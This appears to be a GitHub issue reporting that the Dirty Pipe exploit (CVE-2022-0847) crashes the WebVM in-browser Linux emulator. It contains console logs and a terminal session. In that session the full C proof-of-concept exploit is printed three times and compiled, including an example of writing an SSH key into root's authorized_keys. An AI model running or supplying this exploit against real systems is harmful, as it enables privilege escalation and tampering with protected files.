https://dirtypipe.cm4all.com/ exploit crashes webvm
hello-smile6 opened this issue · comments
Console log:
Welcome. We appreciate curiosity, but be warned that keeping the DevTools open causes significant performance degradation and crashes.
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 103ms
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 108ms
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
9The resource <URL> was preloaded using link preload but not used within a few seconds from the window's load event. Please make sure it has an appropriate `as` value and it is preloaded intentionally.
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
3cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
xterm.js:1 [Violation] 'requestAnimationFrame' handler took 81ms
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cx.js:1 [Violation] 'load' handler took 202ms
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
4cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
2cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5414
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 TODO: CONSOLE IOCTL 5410
cxcore.js:1 Fault addr 0, ip 5555c092, tid 31
cxcore.js:1 Fault from Inode 23521
xterm.js:1 [Violation] 'blur' handler took 333ms
Terminal output:
__ __ _ __ ____ __
\ \ / /__| |_\ \ / / \/ |
\ \/\/ / -_) '_ \ V /| |\/| |
\_/\_/\___|_.__/\_/ |_| |_|
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
| |
| WebVM is a server-less virtual Linux environment running fully client-side |
| in HTML5/WebAssembly. |
| |
| In this demo, it runs an unmodified Debian distribution including many |
| native development toolchains. |
| |
| WebVM is powered by the CheerpX virtualization engine, and enables safe, |
| sandboxed client-side execution of x86 binaries on any browser. |
| |
| CheerpX includes an x86-to-WebAssembly JIT compiler, a virtual block-based |
| file system, and a Linux syscall emulator. |
| |
| For more information: https://medium.com/p/40a60170b361 |
| |
| GitHub | Issues | Gitter | Twitter | Latest News | About CheerpX |
| |
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~+
Welcome to WebVM (build 20220726). If unsure, try these examples:
python3 examples/python3/fibonacci.py
gcc -o helloworld examples/c/helloworld.c && ./helloworld
objdump -d ./helloworld | less -M
vim examples/c/helloworld.c
user@:~$ ls
examples test.c
user@:~$ cat test.c
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
d
user@:~$ cat test.c | wc --help
Usage: wc [OPTION]... [FILE]...
or: wc [OPTION]... --files0-from=F
Print newline, word, and byte counts for each FILE, and a total line if
more than one FILE is specified. A word is a non-zero-length sequence of
characters delimited by white space.
With no FILE, or when FILE is -, read standard input.
The options below may be used to select which counts are printed, always in
the following order: newline, word, character, byte, maximum line length.
-c, --bytes print the byte counts
-m, --chars print the character counts
-l, --lines print the newline counts
--files0-from=F read input from the files specified by
NUL-terminated names in file F;
If F is - then read names from standard input
-L, --max-line-length print the maximum display width
-w, --words print the word counts
--help display this help and exit
--version output version information and exit
GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report wc translation bugs to <https://translationproject.org/team/>
Full documentation at: <https://www.gnu.org/software/coreutils/wc>
or available locally via: info '(coreutils) wc invocation'
user@:~$ cat test.c | wc --lines
157
user@:~$ cat test.c | head -n 156
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
user@:~$ cat test.c | head -n 156 > test2.c
user@:~$ cat test2.c
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
user@:~$ gcc -Wall -Wextra test2.c
s
user@:~$
user@:~$ ls
a.out examples test.c test2.c
user@:~$ file a.out
a.out: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=11ad260aed4e48530daf8f81b93e156d5688f3dc, not stripped
user@:~$ ls
a.out examples test.c test2.c
user@:~$ ./a.out
Usage: ./a.out TARGETFILE OFFSET DATA
user@:~$ ls /etc/
adduser.conf deluser.conf ld.so.cache modules-load.d python3.7 shadow-
alternatives dhcp ld.so.conf motd rc0.d shells
apache2 dpkg ld.so.conf.d nanorc rc1.d skel
apt environment libaudit.conf network rc2.d ssl
bash.bashrc fstab lighttpd networks rc3.d subgid
bindresvport.blacklist gai.conf localtime nsswitch.conf rc4.d subgid-
binfmt.d group logcheck opt rc5.d subuid
ca-certificates group- login.defs os-release rc6.d subuid-
ca-certificates.conf gshadow logrotate.conf pam.conf rcS.d sysctl.conf
calendar gshadow- logrotate.d pam.d resolv.conf sysctl.d
cron.d host.conf machine-id passwd rmt systemd
cron.daily hostname magic passwd- rpc terminfo
cron.hourly hosts magic.mime perl rsyslog.conf timezone
cron.monthly init.d mailcap profile rsyslog.d tmpfiles.d
cron.weekly inputrc mailcap.order profile.d securetty udev
crontab iproute2 mime.types protocols security update-motd.d
debconf.conf issue mke2fs.conf python selinux vim
debian_version issue.net modprobe.d python2.7 services xattr.conf
default kernel modules python3 shadow xdg
user@:~$ ls /etc/
adduser.conf deluser.conf ld.so.cache modules-load.d python3.7 shadow-
alternatives dhcp ld.so.conf motd rc0.d shells
apache2 dpkg ld.so.conf.d nanorc rc1.d skel
apt environment libaudit.conf network rc2.d ssl
bash.bashrc fstab lighttpd networks rc3.d subgid
bindresvport.blacklist gai.conf localtime nsswitch.conf rc4.d subgid-
binfmt.d group logcheck opt rc5.d subuid
ca-certificates group- login.defs os-release rc6.d subuid-
ca-certificates.conf gshadow logrotate.conf pam.conf rcS.d sysctl.conf
calendar gshadow- logrotate.d pam.d resolv.conf sysctl.d
cron.d host.conf machine-id passwd rmt systemd
cron.daily hostname magic passwd- rpc terminfo
cron.hourly hosts magic.mime perl rsyslog.conf timezone
cron.monthly init.d mailcap profile rsyslog.d tmpfiles.d
cron.weekly inputrc mailcap.order profile.d securetty udev
crontab iproute2 mime.types protocols security update-motd.d
debconf.conf issue mke2fs.conf python selinux vim
debian_version issue.net modprobe.d python2.7 services xattr.conf
default kernel modules python3 shadow xdg
user@:~$ ls -a /etc/
Display all 115 possibilities? (y or n)
.pwd.lock gshadow- modules-load.d/ rmt
adduser.conf host.conf motd rpc
alternatives/ hostname nanorc rsyslog.conf
apache2/ hosts network/ rsyslog.d/
apt/ init.d/ networks securetty
bash.bashrc inputrc nsswitch.conf security/
bindresvport.blacklist iproute2/ opt/ selinux/
binfmt.d/ issue os-release services
ca-certificates/ issue.net pam.conf shadow
ca-certificates.conf kernel/ pam.d/ shadow-
calendar/ ld.so.cache passwd shells
cron.d/ ld.so.conf passwd- skel/
cron.daily/ ld.so.conf.d/ perl/ ssl/
cron.hourly/ libaudit.conf profile subgid
cron.monthly/ lighttpd/ profile.d/ subgid-
cron.weekly/ localtime protocols subuid
crontab logcheck/ python/ subuid-
debconf.conf login.defs python2.7/ sysctl.conf
debian_version logrotate.conf python3/ sysctl.d/
default/ logrotate.d/ python3.7/ systemd/
deluser.conf machine-id rc0.d/ terminfo/
dhcp/ magic rc1.d/ timezone
dpkg/ magic.mime rc2.d/ tmpfiles.d/
environment mailcap rc3.d/ udev/
fstab mailcap.order rc4.d/ update-motd.d/
gai.conf mime.types rc5.d/ vim/
group mke2fs.conf rc6.d/ xattr.conf
group- modprobe.d/ rcS.d/ xdg/
gshadow modules resolv.conf
user@:~$ ls -lah /etc/
total 0
-rw------- 0 user user 0 Sep 17 2021 .pwd.lock
-rw-r--r-- 0 user user 3.0K Sep 17 2021 adduser.conf
drwxr-xr-x 0 user user 4.0K Jan 31 2022 alternatives
drwxr-xr-x 0 user user 4.0K Sep 17 2021 apache2
drwxr-xr-x 0 user user 4.0K Sep 17 2021 apt
-rw-r--r-- 0 user user 2.0K Apr 18 2019 bash.bashrc
-rw-r--r-- 0 user user 367 Mar 2 2018 bindresvport.blacklist
drwxr-xr-x 0 user user 4.0K Mar 18 2021 binfmt.d
drwxr-xr-x 0 user user 4.0K Sep 17 2021 ca-certificates
-rw-r--r-- 0 user user 5.9K Sep 17 2021 ca-certificates.conf
drwxr-xr-x 0 user user 4.0K Sep 17 2021 calendar
drwxr-xr-x 0 user user 4.0K Sep 17 2021 cron.d
drwxr-xr-x 0 user user 4.0K Sep 17 2021 cron.daily
drwxr-xr-x 0 user user 4.0K Sep 17 2021 cron.hourly
drwxr-xr-x 0 user user 4.0K Sep 17 2021 cron.monthly
drwxr-xr-x 0 user user 4.0K Sep 17 2021 cron.weekly
-rw-r--r-- 0 user user 1.1K Oct 11 2019 crontab
-rw-r--r-- 0 user user 2.9K Feb 26 2019 debconf.conf
-rw-r--r-- 0 user user 6 Oct 3 2021 debian_version
drwxr-xr-x 0 user user 4.0K Sep 17 2021 default
-rw-r--r-- 0 user user 604 Jun 26 2016 deluser.conf
drwxr-xr-x 0 user user 4.0K Sep 17 2021 dhcp
drwxr-xr-x 0 user user 4.0K Sep 17 2021 dpkg
-rw-r--r-- 0 user user 0 Sep 17 2021 environment
-rw-r--r-- 0 user user 37 Sep 17 2021 fstab
-rw-r--r-- 0 user user 2.6K Aug 1 2018 gai.conf
-rw-r--r-- 0 user user 619 Sep 17 2021 group
-rw-r--r-- 0 user user 606 Sep 17 2021 group-
-rw-r----- 0 user user 516 Sep 17 2021 gshadow
-rw-r----- 0 user user 507 Sep 17 2021 gshadow-
-rw-r--r-- 0 user user 9 Aug 7 2006 host.conf
-rw-r--r-- 0 user user 7 Sep 17 2021 hostname
-rw-r--r-- 0 user user 109 Sep 17 2021 hosts
drwxr-xr-x 0 user user 4.0K Jan 28 2022 init.d
-rw-r--r-- 0 user user 1.8K May 5 2018 inputrc
drwxr-xr-x 0 user user 4.0K Sep 17 2021 iproute2
-rw-r--r-- 0 user user 27 Jun 13 2021 issue
-rw-r--r-- 0 user user 20 Jun 13 2021 issue.net
drwxr-xr-x 0 user user 4.0K Sep 17 2021 kernel
-rw-r--r-- 0 user user 19K Jan 31 2022 ld.so.cache
-rw-r--r-- 0 user user 34 Mar 2 2018 ld.so.conf
drwxr-xr-x 0 user user 4.0K Jan 28 2022 ld.so.conf.d
-rw-r--r-- 0 user user 191 Apr 25 2019 libaudit.conf
drwxr-xr-x 0 user user 4.0K Sep 17 2021 lighttpd
lrwxrwxrwx 0 user user 27 Jan 28 2022 localtime -> /usr/share/zoneinfo/Etc/UTC
drwxr-xr-x 0 user user 4.0K Sep 17 2021 logcheck
-rw-r--r-- 0 user user 11K Jul 27 2018 login.defs
-rw-r--r-- 0 user user 435 Aug 22 2018 logrotate.conf
drwxr-xr-x 0 user user 4.0K Sep 17 2021 logrotate.d
-r--r--r-- 0 user user 33 Sep 17 2021 machine-id
-rw-r--r-- 0 user user 111 Jan 25 2021 magic
-rw-r--r-- 0 user user 111 Jan 25 2021 magic.mime
-rw-r--r-- 0 user user 2.6K Jan 28 2022 mailcap
-rw-r--r-- 0 user user 449 Feb 9 2019 mailcap.order
-rw-r--r-- 0 user user 24K Feb 9 2019 mime.types
-rw-r--r-- 0 user user 812 Jan 10 2020 mke2fs.conf
drwxr-xr-x 0 user user 4.0K Feb 9 2019 modprobe.d
-rw-r--r-- 0 user user 195 Sep 17 2021 modules
drwxr-xr-x 0 user user 4.0K Jan 28 2022 modules-load.d
-rw-r--r-- 0 user user 286 Jun 13 2021 motd
-rw-r--r-- 0 user user 9.1K Jun 12 2019 nanorc
drwxr-xr-x 0 user user 4.0K Sep 17 2021 network
-rw-r--r-- 0 user user 60 Sep 17 2021 networks
-rw-r--r-- 0 user user 494 Feb 10 2019 nsswitch.conf
drwxr-xr-x 0 user user 4.0K Sep 17 2021 opt
lrwxrwxrwx 0 user user 21 Oct 3 2021 os-release -> ../usr/lib/os-release
-rw-r--r-- 0 user user 552 Feb 14 2019 pam.conf
drwxr-xr-x 0 user user 4.0K Jan 28 2022 pam.d
-rw-r--r-- 0 user user 1.2K Sep 17 2021 passwd
-rw-r--r-- 0 user user 1.2K Sep 17 2021 passwd-
drwxr-xr-x 0 user user 4.0K Jan 31 2022 perl
-rw-r--r-- 0 user user 767 Mar 4 2016 profile
drwxr-xr-x 0 user user 4.0K Jun 13 2021 profile.d
-rw-r--r-- 0 user user 2.9K Feb 10 2019 protocols
drwxr-xr-x 0 user user 4.0K Jan 28 2022 python
drwxr-xr-x 0 user user 4.0K Jan 28 2022 python2.7
drwxr-xr-x 0 user user 4.0K Sep 17 2021 python3
drwxr-xr-x 0 user user 4.0K Sep 17 2021 python3.7
drwxr-xr-x 0 user user 4.0K Sep 17 2021 rc0.d
drwxr-xr-x 0 user user 4.0K Sep 17 2021 rc1.d
drwxr-xr-x 0 user user 4.0K Jan 28 2022 rc2.d
drwxr-xr-x 0 user user 4.0K Jan 28 2022 rc3.d
drwxr-xr-x 0 user user 4.0K Jan 28 2022 rc4.d
drwxr-xr-x 0 user user 4.0K Jan 28 2022 rc5.d
drwxr-xr-x 0 user user 4.0K Sep 17 2021 rc6.d
drwxr-xr-x 0 user user 4.0K Sep 17 2021 rcS.d
-rw-r--r-- 0 user user 738 Sep 17 2021 resolv.conf
lrwxrwxrwx 0 user user 13 Apr 23 2019 rmt -> /usr/sbin/rmt
-rw-r--r-- 0 user user 887 Feb 10 2019 rpc
-rw-r--r-- 0 user user 2.0K Feb 26 2019 rsyslog.conf
drwxr-xr-x 0 user user 4.0K Feb 26 2019 rsyslog.d
-rw-r--r-- 0 user user 4.1K Jul 27 2018 securetty
drwxr-xr-x 0 user user 4.0K Sep 17 2021 security
drwxr-xr-x 0 user user 4.0K Sep 17 2021 selinux
-rw-r--r-- 0 user user 19K Feb 10 2019 services
-rw-r----- 0 user user 639 Sep 17 2021 shadow
-rw-r----- 0 user user 613 Sep 17 2021 shadow-
-rw-r--r-- 0 user user 116 Sep 17 2021 shells
drwxr-xr-x 0 user user 4.0K Sep 17 2021 skel
drwxr-xr-x 0 user user 4.0K Jan 28 2022 ssl
-rw-r--r-- 0 user user 18 Sep 17 2021 subgid
-rw-r--r-- 0 user user 0 Sep 17 2021 subgid-
-rw-r--r-- 0 user user 18 Sep 17 2021 subuid
